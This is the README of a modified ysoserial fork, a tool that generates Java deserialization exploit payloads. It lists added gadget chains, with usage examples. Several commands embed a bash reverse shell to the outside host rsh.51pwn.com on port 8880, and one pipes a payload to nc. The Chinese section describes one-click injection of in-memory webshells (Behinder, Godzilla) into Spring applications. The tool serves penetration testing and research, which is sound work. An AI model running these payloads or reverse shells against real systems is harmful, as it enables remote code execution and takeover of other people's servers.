ysoserial

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

New Features

exec_global: Default Ysoserial execution via Runtime.exec(command);
exec_win: Execute command using Runtime.exec(["cmd.exe", "/c", command]);
exec_unix: Execute command using Runtime.exec(["/bin/sh", "/c", command]);
java_reverse_shell: Native java reverse shell payload to avoid the use of Runtime.exec() and potentially bypass some protections;
add CommonsCollections8

java -jar $mtx/../tools/ysoserial-all.jar CommonsCollections8 'https://rsh.51pwn.comExploit.class' 'exec bash -i &>/dev/tcp/rsh.51pwn.com/8880 <&1'

add CommonsCollections5js support "js code",ByPass java8 "java.lang.Override missing element entrySet"

java -jar $mtx/../tools/ysoserial-all.jar CommonsCollections5js "var x=new java.lang.ProcessBuilder(\"bash\",\"-c\",\"exec bash -i &>/dev/tcp/rsh.51pwn.com/8880 <&1\");x.start().getInputStream();"|nc 127.0.0.1 4712

add ScriptEngineTemplate Allows java fragment code injection to be obtained from the environment variable Custom_Code_51pwn to solve complex command problems eg:

export Custom_Code_51pwn='new java.lang.ProcessBuilder(new String[]{"bash","-c","exec bash -i &>/dev/tcp/rsh.51pwn.com/8880 <&1"}).start().getInputStream();'
java -jar $mtx/../tools/ysoserial-all.jar CommonsBeanutils192NOCC "CLASS:ScriptEngineTemplate"

Allows java fragment code injection to be obtained from the current directory file Custom_Code_51pwn to solve complex problems

$ cat Custom_Code_51pwn
new java.lang.ProcessBuilder(new String[]{"bash","-c","exec bash -i &>/dev/tcp/rsh.51pwn.com/8880 <&1"}).start().getInputStream();

java -jar /Users/51pwn/Downloads/ysoserial-all.jar CommonsCollections2 'xx'>cc2

Description

Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). Later updated to include additional gadget chains for JRE <= 1.7u21 and several other libraries.

ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

以CommonsBeanutils192NOCC为例：

java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:SpringInterceptorMemShell"         # SpringInterceptorMemShell       链接shell需要使用存在的路由
java -jar ysoserial.jar CommonsBeanutils192NOCC "FILE:E:\Calc.class"                      # ClassLoaderTemplate
java -jar ysoserial.jar CommonsBeanutils192NOCC "calc"                                    # CommandTemplate                 CLASS: FILE: 不使用协议开头则默认为执行cmd

一键注入cmdshell、冰蝎、哥斯拉内存马，shell连接使用请查看指定类。解决了request和response包装类导致冰蝎链接失败的问题，见issue。

以下受到Gadgets.createTemplatesImpl影响的gadget均需要如上方式传递参数：
